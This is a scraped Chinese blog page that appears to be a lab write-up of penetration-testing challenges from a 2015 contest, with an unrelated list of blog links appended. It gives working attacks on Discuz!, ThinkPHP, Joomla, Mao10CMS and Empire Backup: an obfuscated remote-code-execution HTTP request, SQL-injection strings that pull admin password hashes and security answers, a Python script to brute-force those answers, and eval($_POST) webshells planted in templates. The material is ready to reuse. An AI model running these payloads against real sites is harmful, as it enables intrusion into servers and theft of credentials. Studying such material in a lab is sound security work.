渗透测试入门

我很简单,请不要欺负我

网站综合渗透实验:

真的很简单:

你是会员吗:

2015中国网络安全大赛

一、代码执行:

同DZ漏洞全家桶中的"又见DZ,我能那你怎么办"。

二、Session欺骗:(so奇葩)

  1. www.xxx.xxx/admin/ 存在目录遍历;
  2. 禁用JS后居然可以获取后台!
  3. 不仅有后台,而且可以修改管理员密码!
  4. 在软件上传栏目中,系统使用白名单,可以直接上传php;
  5. Getshell。

三、越权访问:

  1. 帝国备份王,万能Cookie漏洞;
  2. BurpSuit 自动替换Cookie。
  3. 利用数据库备份写入一句话。(正则替换备份文件内容为一句话)
  4. Getshell。

四、信息泄露:

  1. 获取configuration.php~备份文件;
  2. 利用configuration文件中的账号密码登录phpmyadmin;
  3. 利用phpmyadmin重置admin密码;
  4. 登录Joomla后台,修改template代码,插入一句话;
  5. 连接一句话,www.xxx.com/templates/atom/index.php

五、框架漏洞:

  1. ThinkPHP单一入口漏洞;
  2. http://www.test.ichunqiu/index.php/module/action/param1{${eval($_POST[chopper])}};
  3. 连接地址如上,密码chopper;
  4. Getshell。

六、Reinstall:

  1. Mao10CMS前台getshell漏洞;
  2. 存在Install.php.bak文件。/install.php安装脚本里面直接就是初始化数据库,然后写入配置文件:./Application/Common/Conf/db.php 安装文件没有做任何过滤。只能写db_prefix,因为只有他不写入数据库,而已写入配置文件,这样我们就能拿到webshell了。

',@eval ($_POST["chopper"]), //

DZ漏洞全家桶

一、这不是DZ漏洞?

  1. Discuz!X系列转换工具任意代码写入漏洞。在www.test.ichunqiu/utility/convert页面;
  2. 使用EXP。

    POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

    Host: www.test.ichunqiu

    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Connection: keep-alive

    Content-Length: 199

    Content-Type: application/x-www-form-urlencoded

    newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

  3. 连接www.test.ichunqiu/utility/convert/data/config.inc.php 密码c;
  4. Getshell。

二、又见DZ,我能拿你怎么办:

  1. 打开论坛,看下版本是dz!6.0 有一个投票注入漏洞,于是注册新用户soso,发起新投票,发现没有权限。
  2. 浏览论坛,发现test1账号,存在弱口令test1,拥有版主权限。
  3. 用test1账号发起投票,在"编辑"时用Burpsuit抓包。
  4. EXP:测试漏洞是否存在:' or updatexml(1,concat(0x7e,(version())),0) or ''='(注意删除内容。)
  5. 爆破管理员密码

    ' or updatexml(1,concat(0x7e,(select password from cdb_members where uid=1)),0) or ''='

    得到31位md5值"b10a9a82cf828627be682033e6c58780",手工添加一位后,在线破解,得admin密码:whoami!@#123

  6. 登录时发现有安全提问,于是继续用burpsuite 爆安全提问答案

    构造语句:' or updatexml(1,concat(0x7e,(select secques from cdb_members where uid=1)),0) or ''='

    得到加密字符串"~61a55235",利用以下脚本爆破,得安全问题为第七个问题,答案为"9595"。

    (1),将安全问题的value md5加密得到一个加密串

    (2),将问题的答案与上一步的加密串连接组成新的字符串后再md5加密得到另一个加密串

    (3),取第二步得出的加密串的第17位至24位的8位字符串存储到数据库

    自己写一个py脚本通过密码字典与得到到八位加密串碰撞得出安全提问答案,代码如下:

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    密码字典foo.txt是生成的3位到5位的纯数字

  1. 登录后台通过 论坛管理--模板编辑--详情--customfaq编辑写入一句话木马 eval($_POST[soso]);注意在<?之后位置写入保存。
  2. Getshell,连接地址templates\default\customfaq.lang.php。

linhai19760812

only_system

ITest的更多相关文章

  1. 分布式团队中沟通引发的问题, itest 解决之道

    导读: 从问题场景和 itest 优雅解决办法及示例2部分来阐述 1.问题场景: 研发团队是分散在几地的分布式团队,经常会因沟通引来一些问题.如下三图是开发觉得测试进度太慢,一番对话之后, 接下来他们 ...

  2. itest 开源测试管理项目中封装的下拉列表小组件:实现下拉列表使用者前后端0行代码

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景       像easy ui 之类的纯前端组件,也有下拉列表组件,但是使用的时候,每个下拉列表,要配一个URL ...

  3. spring JdbcTemplate 在itest 开源测试管理项目中的浅层(5个使用场景)封装

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景, 在做项目的时候,用的JPA ,有些复杂查询,比如报表用原生的JdbcTemplate ,很不方便;传参也不方便 ...

  4. 软件测试自动化的最新趋势对开源测试管理软件ITEST的启示

    https://www.infoq.cn/article/c-LHJS2ksuDxp1WkrGl4 理面提到几点,DevOps 的关键原则是开发团队.测试团队和运营团队协作,无缝发布软件.这意味着集中 ...

  5. Itest(爱测试),最懂测试人的开源测试管理软件隆重发布

    测试人自己开发,汇聚10年沉淀,独创流程驱动测试.度量展现测试人价值的测试协同软件,开源免费   官网刚上线,近期发布源码:http://www.itest.work 在线体验 http://www. ...

  6. C#调用Delphi接口(ITest = interface)

    首先创建一个delphi的DLL工程 library testintfdll; { Important note about DLL memory management: ShareMem must ...

  7. 开源敏捷测试管理& 开源BUG跟踪管理软件itest(爱测试) V3.3.0隆重发布

    v3.3.0 下载地址 :itest下载 码云源码地址 https://gitee.com/itestwork/itest 开源中国  itest项目地址   https://www.oschina. ...

  8. itest(爱测试) 4.2.1 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者 ...

  9. itest(爱测试) 4.2.0 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 v4.2.0下载地址 :itest下载 itest 简介:查看简介 itest ...

  10. itest(爱测试) 4.1.5 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    v4.1.5下载地址 :itest下载 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者.可按测试包分配测试用例执行,也可建测试迭代(含任务,测试包,BUG)来组织测试 ...

随机推荐

  1. Android 架构艺术之MVP

    MVP是Google官方发布的Android开发相关的架构知识.本文要讲解的是一种最基本的MVP的实现方式,它使用手动的依赖注入来提供具有本地和远程数据源的存储库.异步任务处理回调. 基本的MVP的项 ...

  2. crontab 定时的陷阱

    crontab  任务不执行,首先要查询一下cron任务的宿主和语法: (1). /etc/cron.d/cron_zengtai   这个文件必须是 root:root  否则cron_zengta ...

  3. git commit

    使用 git add 命令将想要快照的内容写入缓存区, 而执行 git commit 将缓存区内容添加到仓库中. Git 为你的每一个提交都记录你的名字与电子邮箱地址,所以第一步需要配置用户名和邮箱地 ...

  4. createElement、createTextNode、setAttribute使用方法

    createElement() 方法可创建元素节点. 示例:var placeholder = document.createElement("img"); createTextN ...

  5. struts2.0中struts.xml配置文件详解

    先来展示一个配置文件 <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration ...

  6. iOS正则表达

    问题引入 1.要验证用户输入的密码长度是否满足6~18位的长度 ^.{6,18}$ 2.固定电话都是0区号-八位数字的格式,那么正则表达式的匹配如下 ^0\\d{2}\-?\\d{8}$ 3.对于密码 ...

  7. Tomcat 6 跨域的支持

    1.添加2个jar包 这个我是自己保存在云端的 cors-filter-1.7.jar java-property-utils-1.9.jar tomcat7以后自动支持 2.tomcat 下面的we ...

  8. angularjs-xeditable整合typeahead完成智能提示

    按照需求,需要在angularjs的xeditable中加入typeahead,来完成智能提示,并且在选择后,把该条数据的其他信息也显示在此行中,于是做了一下的测试修改. 当然,既然用了xeditab ...

  9. delphi const

    参考:http://www.cnblogs.com/tibetwolf/articles/1785744.html 1.const修饰可能会优化编译代码.关于这一点与编译器密切相关,由于变量被cons ...

  10. @classmethod及@staticmethod方法浅析【python】

    目前对于python中@classmethod 类方法和@staticmethod静态方法的有了一定的认识,之后有进一步的认识后继续记录. @classmethod :是和一个class类相关的方法, ...